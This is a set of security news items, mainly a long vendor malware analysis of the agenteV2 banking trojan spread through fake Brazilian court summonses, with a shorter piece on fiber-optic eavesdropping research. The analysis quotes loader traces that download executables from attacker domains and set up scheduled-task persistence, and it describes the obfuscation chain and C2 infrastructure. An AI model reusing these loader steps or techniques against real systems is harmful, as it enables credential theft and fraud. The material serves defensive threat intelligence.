The calm before the ransom: What you see is not all there is

A breach claims the systems as well as the confidence that was, in retrospect, a major vulnerability

WeLiveSecurity – ​Read More

Eavesdropping via fiber-optic cables | Kaspersky official blog

Researchers from three universities in Hong Kong have published a paper demonstrating a method of eavesdropping through fiber-optic cables. Fiber optics have long been the gold standard for data transmission due to their ability to transfer information at high speeds over long distances. Fiber-optic cabling utilizes ultra-thin glass threads for transmission, and is widely used not only for backbone data lines but also for connecting individual premises. And as it turns out, these very glass threads are sensitive enough to vibrations that they subtly alter the parameters of the optical signal.

Potentially, this allows a fiber-optic cable to be turned into a microphone and intercept room conversations while being kilometers away from the sound source. In other words, this exploits so-called side channels — non-obvious characteristics of everyday home or office appliances that enable information leaks. Of course, this work is largely theoretical, much like other similar studies we’ve covered previously — eavesdropping through mouse sensors, using RAM modules as radio transmitters, exfiltrating data from CCTV sensors, or screen snooping through HDMI cables. However, several news outlets have reported on the Hong Kong researchers’ study as if it were a turnkey method, so let’s try to determine just how dangerous it really is in practice.

Hurdles of optical eavesdropping

The unique characteristics of fiber-optic cables were first considered back in 2012 by Russian researchers, who conceded the theoretical possibility of such an attack. The goal of the Hong Kong researchers was to demonstrate at least some level of practical implementation for eavesdropping.

Network and room layout

Diagram of a provider’s fiber-optic network showing the location of the attacker and the room targeted for eavesdropping. Source

The diagram above illustrates a typical FTTH (fiber-to-the-home) network architecture, where end users or organizations connect directly to a fiber-optic cable. The ISP manages the so-called Optical Distribution Network (ODN), to which end-users are connected. The device on the user’s end is called an Optical Networking Unit (ONU).

An attack leveraging this equipment is quite difficult to execute. To eavesdrop on a specific ONU endpoint, a potential adversary would need access to the provider’s infrastructure and control over the ODN equipment. What exactly is this device? It’s a network router or an optical-to-Ethernet converter — a small box usually tucked away in an office utility closet. Inside the premises, connectivity is provided either by Wi-Fi or a local network using Ethernet cabling. Crucially, the fiber-optic cable is unlikely to run directly into a sensitive area like a CEO’s office — the very place where eavesdropping would be most relevant.

Eavesdropping setup

Schematic representation of the eavesdropping setup on the attacker’s side. Source

And here’s a rough idea of what the attacker’s equipment would look like. Using special tech, they send optical pulses down the fiber-optic cable and measure the parameters of their transmission. Minor vibrations from footsteps in a room near the cable and nearby conversations trigger an effect known as Rayleigh scattering. This effect, in turn, causes minute deviations in the reflected signal’s parameters, which are then captured on the attacker’s end using a photosensor.

Recording the sound of footsteps

Recording the sound of footsteps in a room through a fiber-optic cable. Source

Before moving on to voice recording, the researchers decided to test a simpler scenario. To streamline the task, they ran the fiber-optic cable around the perimeter of the room and recorded footsteps — which generate significant vibration — rather than quiet conversation. This experiment was quite successful — the footsteps were audible. However, human speech proved to be far more challenging to capture. It turned out that even in laboratory conditions, intercepting a conversation between two people was impossible. To make further stages of the attack possible, the researchers assumed the presence of a bug at the fiber’s entry point into the room. This module is essentially a microphone that converts audio signals into vibrations on the optical cable. This amplifies the signal, making it possible to intercept on the attacker’s side.

Not-so-obvious advantages

But wait — if we’re talking about planting a bug in a room, why go through all the trouble with fiber optics? Why not just have the bug transmit the conversation on its own through cellular data or the building’s landline — especially since it’s already sitting right on top of it? Because there’s a distinct advantage to the researchers’ proposed attack scenario.

A regular bug transmitting audio over a cellular network or through the internet is fairly easy to detect, whereas a transmitter relaying data via fiber-optic cable vibrations can operate much more stealthily. Such a tap would be relatively easy to implant during the installation of network equipment, and harder to detect using traditional bug-sweeping tools.

Another major benefit of this hypothetical attack is that the eavesdropping can take place kilometers away from the target room — the attacker wouldn’t have to put themselves at extra risk by being near the target. Theoretically, one could also imagine a scenario where a separate fiber-optic cable is run into a room solely for surveillance purposes without raising much suspicion from those being surveilled.

Practical takeaways

If we frame the question as, “Can attackers remotely eavesdrop on any room that has fiber-optic cabling?” the answer is no; it’s still impossible. However, this work by the Hong Kong researchers, which highlights quirks of a common data transmission medium, demonstrates a technically feasible — albeit unlikely and quite expensive to execute — scenario for a targeted attack.

Kaspersky official blog – ​Read More

Inside agenteV2: How Brazilian Attackers Use Fake Court Summons to Steal Banking Credentials in Real Time 

A new phishing campaign targeting Brazilian users demonstrates how modern financial malware has evolved from simple credential theft into full-scale, operator-driven fraud platforms. Disguised as a judicial summons, this campaign leverages social engineering, multi-stage malware delivery, and real-time remote access capabilities to compromise victims and actively assist attackers in financial theft.  

For organizations, the implications extend beyond individual users. Employees accessing corporate systems, financial platforms, or crypto wallets from infected endpoints can unintentionally expose business-critical assets. The malware’s ability to stream screens, execute commands, and harvest credentials in real time makes it particularly dangerous for finance teams, executives, and organizations operating in or with Brazil. 

This is not just phishing. It’s a live intrusion channel into financial workflows. Technical analysis below.  

Attack Overview 

The malware at the heart of this campaign, agenteV2, functions as a full interactive backdoor. Once installed, it streams the victim’s screen to the attacker in real time, enabling live, operator-assisted financial fraud. A human operator watches the victim’s desktop session as it happens, waiting for a banking portal to open, and then takes direct control. 

The malware targets credentials and sessions at seven major Brazilian financial institutions — Itaú, Banco do Brasil, Caixa Econômica Federal, Bradesco, Santander, Inter, and Stone — as well as five major cryptocurrency wallet extensions. It also probes host systems for the presence of specialized Brazilian anti-fraud software (Diebold Warsaw, GbPlugin), indicating deliberate, well-researched targeting of the Brazilian financial ecosystem. 

Executive Summary 

1. This Is Live Financial Fraud, Not Passive Credential Theft. 

Business perspective: agenteV2 establishes a persistent WebSocket backdoor with live screen streaming and a remote shell. The attacker watches the victim’s screen in real time and acts manually the moment a banking session opens. Financial losses can occur within minutes of infection, before any traditional alert fires. 

Deploy ANY.RUN Interactive Sandbox to detonate suspicious email attachments in a live, controlled environment before they reach employee inboxes. 

2. The Lure Is Convincing Enough to Fool Security-Aware Staff. 

Business perspective: The phishing email impersonates a Brazilian federal court using a case number format indistinguishable from authentic CNJ court references. Even employees trained to spot phishing are likely to treat a realistic judicial summons as a high-priority communication requiring immediate action. 

Use ANY.RUN Threat Intelligence Lookup to check suspicious email sender domains, embedded URLs, and attachment hashes instantly against a continuously updated threat intelligence database. A 10-second lookup is sufficient to surface this campaign’s known indicators. 

3. The Malware Survives Reboots, IT Maintenance, and Password Resets. 

Business perspective: Three separate persistence mechanisms — two Scheduled Tasks at maximum privilege and a Registry Run key — ensure the malware remains operational across reboots, routine IT maintenance, and even password changes.  

ANY.RUN Threat Intelligence Feeds deliver structured IOCs directly into your SIEM and EDR for automated hunting across your entire endpoint fleet. Any host matching these indicators should be treated as actively compromised and isolated immediately. 

4. Blocking the Known C2 IP Is Not Enough. 

Business perspective: The malware reads its command-and-control server address from a public Pastebin page. The attacker can silently rotate to a new IP by editing a single page — without redeploying, recompiling, or redelivering any malware. IP blocklists become stale within hours of a C2 rotation. 

Replace IP-based blocking with behavior-based detection. The agenteV2 TLS client fingerprint (JA3 hash)) is stable across infrastructure rotations and can be deployed as a detection rule in your IDS/NDR/EDR. 

5. Traditional AV Will Not Catch This: Behavioral Analysis Is Required. 

Business perspective: The core stealer DLL is compiled from Python to native machine code with Nuitka — no bytecode is extractable and standard decompilers do not apply. Files are disguised with legitimate names (wifi_driver.exe, msedge04.exe) and the payload executes entirely in memory before touching disk.  

Behavioral sandbox analysis is the only reliable pre-execution detection method for Nuitka-compiled threats. The YARA rule in this report (Win_Stealer_AgenteV2_Nuitka) is deployable via ANY.RUN TI infrastructure for automated variant detection. 

Impact Area  Assessment 
Financial Impact  Real-time operator-assisted fraud + credential theft targeting major Brazilian banks and crypto wallets 
Scope  Brazilian users judicial lure suggests broad targeting, not spearphishing 
Persistence  Triple persistence (Registry Run + two Scheduled Tasks /rl highest) 
C2 Resilience  Pastebin dead-drop resolver enables rapid IP rotation without redeployment 
Detection Difficulty  Nuitka-compiled DLL, Cloudflare proxy, legitimate-looking filenames, WebSocket C2 channel 
RE Difficulty  Core DLL compiled to native code (Nuitka); no extractable bytecode; ~90% Nuitka boilerplate 
Threat Classification  Interactive Banking Trojan + Infostealer persistent WebSocket backdoor with live screen streaming and remote shell 

Make faster security decisions with live threat context.
Prevent financial loss and business disruption.



Contact us


Detailed Technical Analysis 

This attack was fully analyzed in ANY.RUN’s Interactive Sandbox, which provided full visibility into the multi-stage infection chain, process trees, network connections, API traces, and registry modifications in a live, controllable Windows 11 environment. 

View the phishing analysis session 

Full attack chain analysis in the sandbox

The threat actor operates a well-structured infrastructure spanning phishing delivery, staged payload distribution, a Pastebin-based dead-drop resolver, and a dedicated C2 server hosted on a bulletproof VPS provider in Germany. 

The final payload, internally named agenteV2, is a Python-based interactive Banking Trojan and Information Stealer whose core logic (agenteV2_historico_detect.dll) is compiled with Nuitka into native machine code.  

Close blind spots and reduce breach risks in your company.
Integrate ANY.RUN’s sandbox for early threat detection.



Register now


It is not a passive fire-and-forget stealer — it establishes a persistent WebSocket backdoor (uws://) enabling live screen streaming (PIL + mss), an interactive remote shell (subprocess.Popen dispatched via CMD:SHELL: parsing), and real-time operator control over the victim session. Persistence is achieved via Registry Run key and Scheduled Tasks (/rl highest), and a Pastebin dead-drop resolver enables rapid C2 rotation without redeployment. 

1. Initial Artifact Analysis 

1.1 Email lure (.eml) 

The campaign is delivered via email impersonating an official judicial summons from the Tribunal de Justiça do Distrito Federal (TJDF), referencing a fabricated civil conciliation hearing (case number 2194839-33.2026.8.07.1876). The case number format matches the authentic Brazilian CNJ numbering standard, increasing credibility. 

Phishing email: PDF with password prompt and fake error message with download link for VBS
Property  Value 
Filename  INTIMACAO JUDICIAL – Designacao de Conciliacao – Diegovolt – 2194839-33.2026.8.07.1876.eml 
MIME Type  message/rfc822 (SMTP mail, ASCII text, CRLF line terminators) 
MD5  285fea57345d838916153c4d8f43ab6c 
SHA1  8a87d63110eeb782bb621b5f3154ca80bdcf5de7 
SHA256  5fd682cdfdf2de867be2a4bd378a2c206370c18a598975a11c99dba121e36b1b 
ssdeep  768:1wxIS5yHtOJ3GsP80Nbt0m0mxGQd5fiCJxXFAwYNBYT:KkHtbo5+mxbnVr 
ANY.RUN Tags  attachments, attc-pdf, blind-copy, pastebin, python, nuitka, loader 

1.2 Social Engineering Mechanism 

The PDF attachment requires a password to open a technique to bypass email gateway sandboxes that cannot interact with password-protected documents. Upon ‘failing’ to open, the PDF instructs the victim to download a VBS file via a ‘click here’ link, attributing the error to a missing software component. This two-step friction is deliberate: it filters unengaged recipients and increases commitment of those who proceed. 

2. Infection Chain 

The full process tree and infection chain graph are visible in the sandbox detonation: WScript.exe → cmd.exe → schtasks + wifi_driver.exe execution flow:  

Malware process tree in the sandbox analysis

The processes include malware delivery, payload delivery, persistence establishment, and more:

Phase  Description 
Delivery  Phishing email with judicial lure. Password-protected PDF attachment. Victim instructed to download VBS via embedded link. 
Initial Execution  Victim manually executes 0124_INTMACAO_.vbs from Downloads folder. WScript.exe invoked. 
Gate Contact  VBS contacts odaracani.online/index.php?id=3df947b3 (unique victim ID). GET returns 200; POST triggers 302 redirect. 
Payload Landing  Redirected to nuevaprodeciencia.club/br77b/ redirect chain via cert.php → cord.php → download.php → arquivos/download.php?id_*. 
Payload Download  VBS uses MSXML2.ServerXMLHTTP.6.0 + ADODB.Stream to download reiniciar.exe (~6.4 MB) and wifi_driver.exe (~12.6 MB, served as msedge04.exe). 
Installation  Payloads written to C:Program Files (x86)Wi-fi masquerading as Wi-Fi driver components. 
Persistence  Two Scheduled Tasks created via cmd.exe: RunAsAdmin_AutoUpdate and RunAsAdmin_Executar both /sc onlogon /rl highest. 
UAC Bypass  VBS re-executes with arguments /elevated /fromtask to gain elevated privileges without a UAC prompt. 
Initial Beacon  VBS calls IWshShell3.Run() on nuevaprodeciencia.club/br77b/iayjaskyeiagds.php first checkin triggered directly from loader. 
C2 Resolution  wifi_driver.exe (container) loads agenteV2_historico_detect.dll, which reads Pastebin dead-drop (pastebin.com/raw/0RmxqY57) to resolve real C2: 38.242.246.176:8443. 
C2 Beaconing  agenteV2 beacons to C2 every ~60 seconds over TLS/8443. 524 bytes sent / ~1 KB received per cycle. Stealer module active. 

3. Stage 1 VBScript Loader (0124_INTMACAO_.vbs) 

3.1. Runtime Behavior (API Trace) 

The following sequence was reconstructed from the ANY.RUN script API trace, showing the exact execution order of COM object calls: 

ANY.RUN VBScript API call trace

Phase 1 reiniciar.exe download and persistence (~13 seconds post-execution): 

IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/reiniciar.exe', False) 

IServerXMLHTTPRequest2.Send()                      -> HTTP 200 OK 

ADODB.Stream.Type = 1 (binary) 

ADODB.Stream.Write(ResponseBody)                   -> VT_ARRAY 

ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fireiniciar.exe', 2) 

IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_Executar" ...reiniciar.exe... /sc onlogon /rl highest', 0, False)

Phase 2 wifi_driver.exe download, persistence and initial beacon (~22–29 seconds): 

IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/msedge04.exe', False) 

IServerXMLHTTPRequest2.Send()                      -> HTTP 200 OK 

ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fiwifi_driver.exe', 2) 

IWshShell3.Run('"C:Program Files (x86)Wi-fiwifi_driver.exe"', 1, False)  // executed twice 

WScript.Sleep(3000) 

IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_AutoUpdate" ...wifi_driver.exe... /sc onlogon /rl highest', 0, False) 

IWshShell3.Run('https://nuevaprodeciencia.club/br77b/iayjaskyeiagds.php', 1, False)  // initial C2 beacon 

Key observations: 

  • wifi_driver.exe is executed twice before Sleep(3000) retry mechanism to ensure process startup; 
  • The server-side filename is msedge04.exe; it is saved locally as wifi_driver.exe deliberate renaming at download time; 
  • The initial C2 beacon is fired by the VBS loader itself via IWshShell3.Run, before the payload’s own beaconing loop begins. 

3.2. Obfuscation & Payload Decoding Mechanism 

The VBS loader implements a multi-layer obfuscation pipeline that decodes and executes a secondary payload entirely in memory. Despite its apparent complexity, the mechanism is fully deterministic and reversible — all decoding logic, keys, and transformations are self-contained in the script, with no external dependencies or dynamic key generation. 

The two on-disk forms confirm runtime deobfuscation: 

C:UsersadminDownloads124_INTMACAO_.vbs          (16,739 bytes  — obfuscated, as delivered) 

C:UsersadminAppDataLocalTemp124_INTMACAO_.vbs (140,302 bytes — fully decoded runtime copy) 

The ~8.4x expansion factor is explained by the encoding pipeline described below. 

The encoded payload is stored as a large string built via repeated concatenation: 

tEXXKcvxSM = tEXXKcvxSM & "<chunk>" 

This pattern avoids signature-based detection of long static strings, prevents straightforward extraction, and obscures the actual payload size. It is a common technique in commodity VBS loaders. 

Encoded VBScript Snippet

Three transformation functions are applied in sequence before the payload is executed: 

Function  Technique  Security Value 
AqBVqmjYfY (x3)  Triple Base64 decode via MSXML2.DOMDocument (bin.base64)  Low — trivially reversible 
YnrbBGjUXH  Hexadecimal decode — Chr(CInt(“&H” & Mid(h, i, 2)))  Low — simple hex-to-bytes 
obmFYHGTeJ  Custom byte transform — Vigenere-like modular subtraction with hardcoded key array  Low-Medium — broken by embedded keys 

Step 1 — Triple Base64 Decoding. The function AqBVqmjYfY wraps the MSXML2.DOMDocument COM object to perform Base64 decoding. It is called three consecutive times, nesting the calls:

b = AqBVqmjYfY(AqBVqmjYfY(AqBVqmjYfY(b)))

Triple-encoding increases entropy and defeats naive single-pass decoders, but provides no cryptographic security — each layer is independently and trivially reversible. 

Step 2 — Hexadecimal Decoding. The function YnrbBGjUXH converts the Base64-decoded output from a hex-encoded byte stream into raw bytes: 

Chr(CInt("&H" & Mid(h, i, 2))) 

This confirms the intermediate payload is stored as a hex string, adding one further layer of visual obfuscation over the Base64 output. 

Step 3 — Custom Byte Transformation (Pseudo-Encryption). The function obmFYHGTeJ is the core obfuscation layer. It applies a Vigenere-like modular subtraction cipher using a hardcoded array of multiple keys: 

keys = Array("xsTqWN3wxwsA", "Bydpez94dTlZ", ...) 

For each byte, the routine iterates through all keys in reverse order and applies: 

ch = (ch - keyByte + 256) Mod 256 

This is similar to a repeated-key XOR/Vigenere cipher. It is not cryptographically secure — the keys are hardcoded in the script, the transformation is deterministic, and the decoding pipeline is fully reproducible offline. The critical weakness is that all key material is embedded in the script itself. 

After the three-stage decoding, the final payload is executed directly in memory without writing any intermediate artifact to disk: 

Execute obmFYHGTeJ(tEXXKcvxSM)

This fileless execution pattern means the next stage never touches the filesystem in decoded form, evading file-based AV scanning. The decoded payload can be recovered by inserting a logging hook at the Execute call or by running the decoding pipeline offline with the extracted keys. 

Obfuscation Technique  Effectiveness  Notes 
Triple Base64  Low  Three independent reversible layers — no key material required 
Hex encoding  Low  Simple Chr/Mid conversion — standard textbook technique 
Custom byte transform  Low-Medium  Vigenere-like cipher with good structural complexity 
Hardcoded key array  Critical weakness  All keys embedded in script — full offline decryption possible 
String concatenation  Low  Defeats naive string grep but not dynamic analysis 
In-memory execution  Medium  Evades file-based AV; recoverable via memory dump or hook 

Overall assessment: the obfuscation chain is consistent with the use of publicly available VBS templates or tutorials. The layered approach demonstrates awareness of basic detection mechanisms but no understanding of cryptographic security. The presence of hardcoded keys and deterministic transformations makes full offline payload recovery straightforward for any analyst with access to the script. 

4. Stage 2 Payload Architecture 

The payload follows a two-component architecture: a lightweight container executable (wifi_driver.exe) and the actual malicious module (agenteV2_historico_detect.dll). These roles must not be confused only the DLL contains malicious logic. 

Component  File  Size  Role 
Container / Bootloader  wifi_driver.exe  ~12.6 MB  Onefile bundle extracts Python runtime + DLL, then loads and executes the stealer DLL 
Core Stealer Module  agenteV2_historico_detect.dll  ~27 MB  All malicious logic: C2 resolution, browser credential theft, screen capture, persistence 

wifi_driver.exe Container/Bootloader 

wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to: 

  • Extract the full Python 3.13 runtime environment to a temporary directory (Temponefile_<PID>_<timestamp>); 
  • Extract all required .pyd extensions and native DLLs alongside the runtime; 
  • Load and execute agenteV2_historico_detect.dll the actual payload; 
  • Clean up the extraction directory on exit.  
wifi_driver.exe showing Nuitka onefile container signature, PE characteristics, Python 3.13 runtime

wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to:

  • Extract the full Python 3.13 runtime environment to a temporary directory (Temponefile_<PID>_<timestamp>);
  • Extract all required .pyd extensions and native DLLs alongside the runtime;
  • Load and execute agenteV2_historico_detect.dll the actual payload;
  • Clean up the extraction directory on exit.

Reverse engineering path for wifi_driver.exe: 

  • If PyInstaller: use pyinstxtractor.py to unpack the bundle → locate main.pyc (or file named after the executable) → decompile with pycdc to recover readable Python source; 
  • If Nuitka container mode: the bootstrap code is minimal C focus effort on the extracted DLL, not the container; 
  • The container itself is not the analytical target it is merely the delivery mechanism for the DLL. 

Extracted runtime components dropped to Temponefile_<PID> by wifi_driver.exe: 

File  Size  Purpose 
python313.dll  6 MB  Python 3.13 interpreter main runtime 
python3.dll  72 KB  Python stable ABI shim 
vcruntime140.dll  118 KB  MSVC runtime (C++ support) 
libcrypto-3.dll  5 MB  OpenSSL crypto TLS for C2 comms 
libssl-3.dll  776 KB  OpenSSL TLS encrypted C2 channel 
sqlite3.dll  2 MB  SQLite engine reading browser credential DBs 
_sqlite3.pyd  128 KB  Python SQLite bindings 
PIL/_imaging.pyd  2 MB  Pillow core screen capture 
PIL/_imagingcms.pyd  264 KB  Pillow CMS image processing 
psutil/_psutil_windows.pyd  69 KB  Process enumeration kill browsers before DB access, anti-VM checks 
_wmi.pyd  39 KB  WMI bindings system fingerprinting (UUID, hostname, OS version) 
_ssl.pyd  178 KB  Python SSL bindings HTTPS for C2/Pastebin 
certifi/cacert.pem  266 KB  Trusted CA bundle validates Pastebin and C2 TLS certs 
charset_normalizer/*.pyd  22 KB  Text encoding detection handles multi-encoding victim data 
81d243bd__mypyc.pyd  205 KB  mypyc-compiled auxiliary module additional compilation layer 
agenteV2_historico_detect.dll  27 MB  Complete CORE STEALER malicious logic 

agenteV2_historico_detect.dll Core Stealer (Nuitka) 

agenteV2_historico_detect.dll confirming Nuitka compilation, native PE DLL, no extractable bytecode

This DLL is the analytical target it contains all malicious logic. The original Python source was compiled with Nuitka (Python → C++ → native machine code), producing a monolithic 27 MB PE DLL with no extractable bytecode. pyinstxtractor and uncompyle6 do not apply here.

Property  Value 
Compiler  Nuitka (Python → C++ → native machine code) 
File Size  27,430,848 bytes (~27 MB) statically linked dependencies + Nuitka runtime bloat 
MD5  826d6350724f203b911aa6c8c4626391 
Bytecode  None not extractable; full native RE required (IDA Pro / Ghidra) 
RE Difficulty  High ~90% of code is Nuitka boilerplate + CPython internals; malicious logic is a small fraction 
Classification  Interactive Banking Trojan + Information Stealer not a passive exfiltrator 
Name (internal)  agenteV2 ‘V2’ implies prior version in circulation; active development confirmed 
OpSec quality  Poor verbose debug strings, original variable/function names, and cleartext URLs left intact 

Despite robust Nuitka compilation, the threat actor failed to strip debug symbols, variable names, and cleartext strings from the binary exposing the full execution flow via static .rdata analysis. This is a recurring pattern in Brazilian malware: technically capable packaging decisions paired with poor operational security discipline. 
 
Core Capabilities (Reconstructed from Static + Dynamic Analysis):  

agenteV2_historico_detect.dll .rdata: parsing string, banking target arrays, anti-fraud product paths

The malware does not hardcode the C2 address. It queries a Pastebin URL to dynamically retrieve the active C2 IP and port, enabling infrastructure rotation without redeployment: 

Dead-Drop URL:  https://pastebin.com/raw/0RmxqY57 
Resolved C2:    38.242.246.176:8443 
String (.rdata)  Address  Role 
a PASTEBIN_URL  0x1812987ED  Variable storing the dead-drop URL 
https://pastebin.com/raw/0RmxqY57  0x1812993F0  Hardcoded Pastebin raw URL 
Busca IP e Porta Base do Pastebin. Retorna (ip, port) ou None  0x18129889B  Resolver function docstring returns (ip, port) tuple 
Erro: Porta no pastebin n…  0x18129884C  Error handler: malformed port in Pastebin content 
Erro ao ler Pastebin:  0x181298881  Error handler: Pastebin fetch failure 

4.1. Persistent WebSocket Backdoor Interactive Agent 

Unlike typical stealers that perform a single HTTP POST exfiltration and terminate, agenteV2 establishes a persistent WebSocket connection (uws:// scheme) to the C2. This architecture enables real-time, bidirectional communication making it function as a full interactive backdoor rather than a passive stealer: 

  • Continuous screen capture stream using PIL (Pillow) and mss libraries frames encoded as JPEG and streamed live to the operator; 
  • Interactive remote shell via CMD:SHELL: command prefix commands dispatched through subprocess.Popen, output returned over the WebSocket; 
  • Real-time telemetry: live operator visibility into the victim’s desktop session. 

This design is optimized for manual, real-time financial fraud. The operator can watch the victim’s screen, interact with open banking sessions, and issue commands on the fly. 

IDA Pro / strings uws:// WebSocket scheme string, CMD:SHELL: command prefix, subprocess.Popen references in .rdata

4.2. Evasive Browser Credential Harvesting 

The stealer targets all Chromium-based browsers (Chrome, Edge, Brave, Opera) across all user profiles. To bypass the SQLite file lock maintained by running browsers, it uses shutil.copyfile to duplicate the target database files into %TEMP% before executing SQL SELECT queries:  

Target files: Login Data, Cookies, History  

Method: shutil.copyfile(src, %TEMP%<random>) → sqlite3.connect(copy) → SELECT * FROM logins 
String (.rdata)  Address  Capability 
Varre todos os perfis de navegadores e busca Inter/Stone no disco  0x18129845A  Scans all browser profiles for Inter and Stone bank data 
clonando o banco para ler mesmo se aberto  0x181298976D  Explicit DB cloning to bypass file lock while browser is running 

4.3. Security Controls & Anti-Fraud Enumeration 

The malware proactively profiles the host for regional anti-fraud and endpoint protection solutions before proceeding with credential theft a strong indicator of deliberate LATAM targeting: 

  • Diebold Warsaw (Warsaw Security Module) disk path queries for this widely-deployed Brazilian banking security plugin; 
  • GbPlugin disk path queries for this browser security plugin used by major Brazilian banks. 

Detection of these solutions likely influences the malware’s behavior (evasion, delayed execution, or alternate attack paths). 

Diebold Warsaw and GbPlugin path references used for security controls enumeration

4.4. Analyst Assessment 

agenteV2 is not a passive, fire-and-forget stealer. It is a purpose-built interactive agent designed for real-time manual financial fraud in the Brazilian market. The WebSocket architecture, live screen streaming, and remote shell capability are consistent with an operator-assisted attack flow: the threat actor watches the victim’s screen in real time, waits for a banking session to open, and interacts directly.  

The Nuitka compilation demonstrates meaningful anti-analysis effort; however, the failure to strip debug strings, variable names, and cleartext URLs reveals the full implementation to any analyst with access to the binary a significant OpSec failure that partially undermines the obfuscation investment. 

4.5. Persistence Mechanisms 

The payload establishes a third persistence layer independently of the VBS loader: 

Registry: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 

Value: MonitorSystem 

Data: C:UsersadminAppDataLocalTempONEFIL~1agenteV2_historico_detect.py 

Note: the Registry Run value points to a .py file in %TEMP% this assumes either Python is installed and registered as a handler for .py files on the victim machine, or represents an implementation error by the threat actor (a common characteristic of amateur-but-functional malware). The name ‘MonitorSystem’ is social engineering for any victim who opens regedit. 

ANY.RUN Registry modification event: HKCURunMonitorSystem key creation by wifi_driver.exe process

5. Stage 3 C2 Communication 

5.1. Dead-Drop Resolver via Pastebin 

agenteV2 does not hardcode the C2 IP. Instead, it implements a Pastebin-based dead-drop resolver allowing the threat actor to rotate C2 infrastructure without recompiling or redelivering the malware: 

Browser pastebin.com/raw/0RmxqY57 raw content showing plaintext C2 address: 38.242.246.176 8443 

The resolver (documented in DLL strings as ‘Busca IP e Porta Base do Pastebin. Retorna (ip, port) ou None’) parses the Pastebin content to extract the IP and port as a tuple, with explicit error handling for fetch failures and malformed content. 

5.2. Beacon Pattern 

Parameter  Value 
Beacon interval  ~60 seconds (observed timestamps: +587ms, +61334ms, +121688ms, +182127ms, +242703ms…) 
Bytes sent  524 bytes per beacon (fixed size structured check-in payload) 
Bytes received  ~1 KB per beacon (task/command response) 
Transport  TCP/TLS port 8443 
Pastebin proxy  172.66.171.73:443 (Cloudflare used only for Pastebin resolution, not C2) 
Real C2  38.242.246.176:8443 (Contabo VPS, Düsseldorf, Germany) 
ANY.RUN Network connections tab: periodic ~60s beacons and TLS connection details to 172.66.171.73

5.3. TLS Fingerprints 

Fingerprint  Value 
JA3  a48c0d5f95b1ef98f560f324fd275da1 
JA3 Full  771,4866-4867-4865-49196-49200-49195-49199-52393-52392-49188-49192-49187-49191-159-158-107-103-255,0-11-10-16-22-23-49-13-43-45-51-21,29-23-30-25-24-256-257-258-259-260,0-1-2 
JA3S  15af977ce25de452b96affa2addb1036 
JA3S Full  771,4866,43-51 
JARM  00000000000000000000000000000000000000000000000000000000000000 (Cloudflare/Pastebin proxy not C2 fingerprint) 

The JA3 hash (a48c0d5f95b1ef98f560f324fd275da1) can be used as a network detection rule it will match agenteV2’s TLS ClientHello regardless of C2 IP rotation. 

6. Threat Actor Infrastructure 

Shodan 38.242.246.176: Hestia Control Panel on port 8083, open ports list, hostname vmi3003111.contaboserver.net, nginx banner

6.1. Infrastructure Map 

Role  Asset  Details 
Phishing Gate / Tracker  odaracani[.]online  Per-victim unique ID tracking (?id=3df947b3). POST → 302 redirect to payload server. IP: 69.49.241.120 
Payload Distribution  nuevaprodeciencia[.]club  Hosts all EXE payloads (/br77b/arquivos/download/). C2 checkin endpoint (iayjaskyeiagds.php). IP: 69.49.241.120 
Shared Delivery IP  69[.]49.241[.]120  Both delivery domains resolve to this single IP single hosting point for Stage 1/2 infrastructure 
Dead-Drop Resolver  pastebin[.]com/raw/0RmxqY57  Public Pastebin page containing plaintext C2 IP:port. Accessed via Cloudflare (172.66.171.73:443) 
Real C2 Server  38[.]242.246[.]176:8443  Contabo GmbH VPS. Hostname: vmi3003111.contaboserver.net. Hestia Control Panel on :8083 
C2 ASN  AS51167 Contabo GmbH  Düsseldorf, Germany. Frequently abused by threat actors for permissive abuse handling 

6.2. C2 Server Detail (Shodan) 

Property  Value 
IP  38.242.246.176 
Hostname  vmi3003111.contaboserver.net 
ASN  AS51167 Contabo GmbH 
Country  Germany (Düsseldorf) 
Control Panel  Hestia Control Panel port 8083 (nginx, HTTP 200 OK, active session) 
Open Ports  21 (FTP), 22 (SSH), 25/465/587 (SMTP), 53 (DNS), 80/443 (HTTP/S), 8083 (Hestia), 8443 (C2) 
SMTP ports  25, 465, 587 strongly suggests phishing emails dispatched from this same VPS 

The Hestia Control Panel on port 8083 indicates the threat actor self-manages this server rather than using a hosting reseller. The presence of active SMTP ports alongside the C2 port strongly suggests this VPS serves as an all-in-one campaign platform: phishing email dispatch, payload hosting management, and C2 handling. 

Threat Actor Assessment 

Campaign Characteristics 

  • Exclusively targeting Brazilian users Portuguese lure, CNJ court number format, Brazilian bank/fintech targeting, and enumeration of LATAM-specific anti-fraud tools (Diebold Warsaw, GbPlugin); 
  • Judicial summons lure is a well-established social engineering technique in Brazil exploits fear of legal consequences to reduce victim scrutiny; 
  • Per-victim unique tracking ID (?id=3df947b3) demonstrates the actor actively monitors individual infection progress; 
  • WebSocket persistent backdoor with live screen streaming points to operator-assisted, manual fraud the threat actor watches victims’ screens in real time and waits for banking sessions to open; 
  • Cloudflare Turnstile CAPTCHA on payload server deliberate anti-sandbox and anti-researcher measure; 
  • Multi-step redirect chain before payload delivery adds anti-scraping friction; 
  • ‘agenteV2’ naming implies active development a prior version (v1) likely exists or circulated previously; 
  • Nuitka compilation of the core DLL represents a meaningful step above typical Brazilian stealer tradecraft; however, the failure to strip debug strings, variable names, and cleartext URLs is a significant OpSec failure that partially negates the obfuscation investment. 

Infrastructure Assessment 

  • Two-tier delivery infrastructure (69[.]49.241[.]120 for phishing/payload, 38[.]242.246[.]176 for C2) separation reduces single-point takedown impact; 
  • Pastebin dead-drop resolver is the primary C2 resilience mechanism actor can rotate C2 IPs by editing a single Pastebin page without touching deployed malware; 
  • Active SMTP ports on C2 VPS strongly suggest self-hosted phishing email dispatch from the same server; 
  • Hestia Control Panel indicates actor self-manages the VPS not a reseller customer; 
  • Contabo GmbH (AS51167) is a known bulletproof-tolerant provider frequently abused by threat actors for affordable pricing and slow abuse response; 
